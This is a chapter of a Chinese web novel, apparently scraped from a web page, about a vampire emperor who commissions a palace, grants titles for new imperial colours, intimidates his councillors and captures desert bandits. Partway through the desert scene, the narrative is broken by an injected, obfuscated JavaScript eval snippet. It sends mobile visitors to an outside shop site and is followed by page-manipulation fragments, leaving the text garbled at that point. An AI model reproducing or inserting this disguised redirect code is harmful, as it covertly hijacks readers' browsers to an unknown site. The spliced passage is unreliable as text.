白天又恢复成严肃的皇宫大管家的模样。
和纹次郎一起兴致勃勃讨论着为我建造新宫殿的事情。
“普通的富豪都会在宜居的地方多建几座别馆,主人光有休布伦索亚堡和目前居住的春之宫果然还是太寒碜了。”
“嗯嗯!配得上主人的必须是可以突显主人帝国主人身份的建筑。外墙用黄金,内壁用宝石珍珠镶嵌怎么样?一定闪闪发光震慑到所有人!”
“光用黄金珠宝也太俗气了,而且材料受限面积就不够广,最好像那些教堂一样建得又高又空旷。黄金钻石什么的,就嵌在天花板当穹顶上当装饰,最棒的当然是把主人的艺术画和雕像装满整个宫殿,让所有人都能第一时间、全方位瞻仰帝国主人的英姿!”
扑棱棱——
“哇!不愧是菊一!听起来很不错的样子!建筑设计师就用设计春之宫的普鲁士爵士吧?要不然其他设计师的作品也看看?也许会有更好的设计师。主人觉得呢?”
面前是一条镜新绘制的巨型肖像画。
我说:“有新的宫殿住当然好。”
画师本身技术高超,善于抓取亮点,送过来的作品无一不是展现了模特的最完美的一面:温和明快的、肆意张扬的、沉静锋利的……
在画技上无可指摘,但是,
我双手插着裤兜:“我更喜欢鲜艳一点的,像这种灰扑扑的颜色,画一千一万幅我都不想把它们挂到大厅里,而且画上我双眼的颜色,至少不能比我胸口宝石亮度还暗。”
两鸦一人齐齐凝视相框。
“……”
“嗯,这么一看的确没有画出主人的精髓哇!”
“虽然画上的主人还是那么可爱帅气,灰扑扑的蓝色和红色作为双眼的点缀的话,就像不会亮的灯泡呢~”
我满脸挑剔。
“根本不能完全突显我的美貌啊,这样说来不做出改变是不行了,我的事情就是国家大事,献上与皇帝相配的色彩的人,我将授予荣誉爵位与赏金。”
主人吹们立刻气呼呼地甩翅膀。
“没错没错,皇帝陛下就该这样随心所欲才对!”
“真是的,一帮饭桶!居然不能提前想到这些小事,还要让主人自己操心,太可恶了!”
我挑眉:“……”
唯有鼓掌。
有荣誉爵位吊胃口。
经过百位著名设计师与画家点评,不到两个月就敲定了两位斩获荣誉爵位的人选——制造“爱丽丝红”的染坊老板娘爱丽丝·弗雷亚,与“法斯特蓝”的制造者低等血族瑞安·雷诺亚斯。
法斯特帝国以才能与品行评选官员,且每隔三年考评一次,从一开始就断绝了帝位以下政权垄断的可能性。
至于爵位,是为国家作出重大贡献的特别人才设置的荣誉称号。
从高到低为:公爵、侯爵、伯爵、子爵、男爵,每个爵位又划分为八个等级,配相应荣誉奖金宅邸,每月发放,连续发放五十年。
且部分爵位可世袭,侯爵世袭两代、公爵则可世袭三代。
即使曾经身为血族,或是人类之中来投奔帝国的贵族心中有诸多不满,也不得不为了争取更高身份向上爬,导致每个生活在帝国的公民进取心,相比其他国家更加强。
总之这种激励方式非常好用~
国家能迅速发展也是多亏了这些制度和由此选拔而出的人才。
这两种代表皇帝的颜色很快应用到了骑士们的制服上。
我看这些丑制服不爽很久了。
国家蒸蒸日上,守护国家这些骑士也该光鲜亮丽才对。
这可是代表着皇帝的颜面!
……
建国的新鲜感过去。
从偶尔出国旅行到长期出国游历。
当时看来无趣的事情,在过了数年来看,总能发现一些新的东西。
看到过去自己的成长历程,不失为一种乐趣。
我积累的日记本在地下室堆了一堆小山,让已经成为血族一员的托莫帮忙按时期排放到书架上。
早年就饱受苦难的他对逝去的人们没有太多留恋,但他主动祈求放弃人类的身份只为陪伴在侧,让我想到了曾经的菊一和纹次郎。
无法无视他的心愿。
不是所有人能够忍受漫长不变的人生。
也许有一天他会厌倦。
他忠诚顺从,又是个音乐上的好苗子,还愿意不断修习厨艺。作为多年陪伴的报答,在那刻来临时,我会为他结束一切。
为听取民意,除帝国政要组成的上议院。
各区民众选举的地方代表组成的下议院,同样是极其重要的政治机构。
皇帝身边的五人议事团就是由地方代表候选人选出,成员没有正式官职,却承担部分秘书官事务,处理特别行政。因靠近帝国最高权力中心,被所有人仰望。
然而至今所有人不明白皇帝是怎么从茫茫人海中筛选出来的,也不太明白当初报名填写的测试表的意义。
我:公务员心理测评可是省了不少事呢。
新上任的年轻议事官踌躇:“陛下,因为一棵青菜就授予一等子爵位,是否……有些过于轻率了?”
“朕就喜欢你这种不会说话的愣头青。”
“比起老菜梆一样的固执老头,你们这些年轻孩子说话就有意思多了。”
我眼眸弯弯,嘴里说出恐怖的话语。
“朕提出想法,下面的人负责执行。一个角度不行就换一个角度理解。你们是为朕解决烦恼的人,不是专门为朕创造烦恼的。都说旧的不去新的不来,如果所有的事情都需要朕亲自解决,这个无用的国家还是灭亡算了。”
轻飘飘的话语如同落雷炸在年轻议事官们的心头。
“……”
春之宫花园的风景再唯美,也比不过那一刹被顶级掠食者注视的汗毛直竖。
几个年轻人不由收起心中因初见皇帝的无害外表而生出的轻慢,松懈的心弦瞬间紧绷到极点。
“这是陛下要的材料。”包裹得不见丝毫肌肤的“木乃伊”,脚后跟着一堆喵喵叫的纯白、焦黄、橘色、花白毛茸茸。
老鼠总是无处不在,破坏力极强。
春之宫灭鼠的重任就落在了猫酱生下的后代肩上。
还是由托莫负责照顾它们。
“你还是这么受小动物欢迎。”捞起一只软绵绵的小猫,不情愿的身体拉得长长的,最终落到膝盖上。
托莫停下手里的推车,望了一眼我膝盖上的小猫:“因为平常是我在照顾,它们才那么亲近我。陛下要是没有别的吩咐,我就先走了。”
我捏捏粉色的猫咪肉垫,心情很好:“有事再找你。”
“木乃伊”点点头,如同来时那样浩浩荡荡带领大部队走了。(木乃伊状态是因为全身整容了,托莫还是想要干活,所以就这么出现了。托莫:吸血鬼没那么容易死,就让我多干点活吧。?是这么回事。)
“又剩下我们了。”
议事官们:救命!!
我挂起亲和力十足的笑容:“朕用人向来喜欢看能力,能让朕开心也是一种本事。实不相瞒,朕最近有点无聊,想找你们出出主意。”
……
空气因烈日高温扭曲。
一行车队一脚深一脚浅保持行进的路线。
马匹无法穿越漫长干旱的沙漠,不得已换了骆驼。
中途稍作休整,诺亚前来汇报:“陛下,我们的水桶快要见底了,距离绿洲还要走两天,供给百来个人恐怕不够用。”
一只黑色影子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843271|207475||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从天空快速坠落。
即将落地那刻,以极其刁钻的角度哧溜窜进了最华丽的骆驼车厢。
我靠着车壁软座,一手撑着脸:“在外面玩够了?”
“纹次郎吃了很多脆脆的蝎子还有蜥蜴蛋!很好吃哦!”
纹次郎回味地砸吧嘴。
年过八旬的老妇人将小碟子上放上清水和果仁,和蔼地问:“那么传令官大人有看到可以用的水源吗?”
纹次郎伸头叼走了洛拉准备的核桃仁,惬意地喝了口清水,这才开口:“附近没有看到任何水源呢,不过翻过沙丘二十里外有一伙强盗在休息。”
“啊~”我挺直身体,两眼放光,“正愁无聊得要命。”
掀开车帘。
我探出半个脑袋:“诺亚!!!”
同样不甘安分的性子,使灼烧的血在随行的绯红骑士团长诺亚眼中点燃,一手按在剑柄之上,灰眸顷刻点燃燃烧眼中光彩夺目:“陛下要活捉还是全数歼灭?”
我趴在窗上神秘一笑:“捉过来!全部~”
带来的并非全是绯红骑士团成员,有三分之二都是从其余三大骑士团:白银骑士团、黑曜骑士团、以及苍蓝骑士团临时抽调的精英。
这么做不为别的,就是突然想这么做了。
仅此而已。
跟着出去剿匪的二十名骑士有三名受了轻伤,唯二的医师洛拉和她的小徒弟立马下马车帮忙。
“看来这片干巴巴的沙漠,真的把这帮孩子的行动能力给烤干了。”
看我下车。
随时关注这边情况的其中一位议事团成员,诚惶诚恐小跑过来,虚扶在身侧,试图劝阻。
“陛下,外面日晒,风沙又大……”
“难不成你以为朕晒到一点太阳就会化掉?”
站在滚烫的空气里感受了一下。
下午三四点左右的太阳比正午凉快一些,还是很热。
比起一直待在车厢里被烤成小面包,还不如下来走走、吹吹风。
骑士们高大的影子里就凉快许多。
被皇帝陛下当成遮阳伞的骑士们:“……”
现实的皇帝陛下好像跟想象中不太一样,但是他们居然一点也不意外是怎么回事?
沙盗们挨最毒的打,骂最狠的话。
“#¥%@%%&…………%*@%¥@¥@%¥……%&#%@!~!~#@%¥&……*……&)&**()&¥%¥@……¥……&*&(*()()***&)!”
即使听不懂。
拷打的骑士们也从这些恶匪的表情猜出不会是什么好话。
“……”
我把缴获的战利品翻了一遍。
马鞭、破破烂烂的骆驼皮地图、水壶、匕首、风干的大袋肉干、装满杂乱小物件包括钱币、别针、鼻烟壶、宝石、还有某种动物皮革鞣制的钱袋子……
我拍拍手,拨开挡在前面高大的“障碍物”。
白森森的利齿在嘴角若隐若现。
再可爱的脸蛋在沙盗们到眼中也变得阴森可怖起来。
沙盗们表情猛然扭曲起来:……吸、吸血鬼?!!!!!!!!
话说近期确实有法斯特帝国皇帝亲自来沙漠的传闻,不是假的吗?!
我用随意而亲切的口吻:“已经到晚餐时间了,问不出什么有价值的东西就杀了算了。”
沙盗们眼泪狂飙,蹦跶着摔在一起,蛆一样扭动想要逃跑:“妈妈呀啊啊啊啊啊!!!要被当成晚餐了———————”
被一帮糙汉涕泪横流喊妈妈的表现逗乐了。
嘴角咧开露出的糯米小尖牙让他们眼泪流得更欢。
我对拔剑的骑士摆手。
“算了,还是对战略储备粮大度一点。”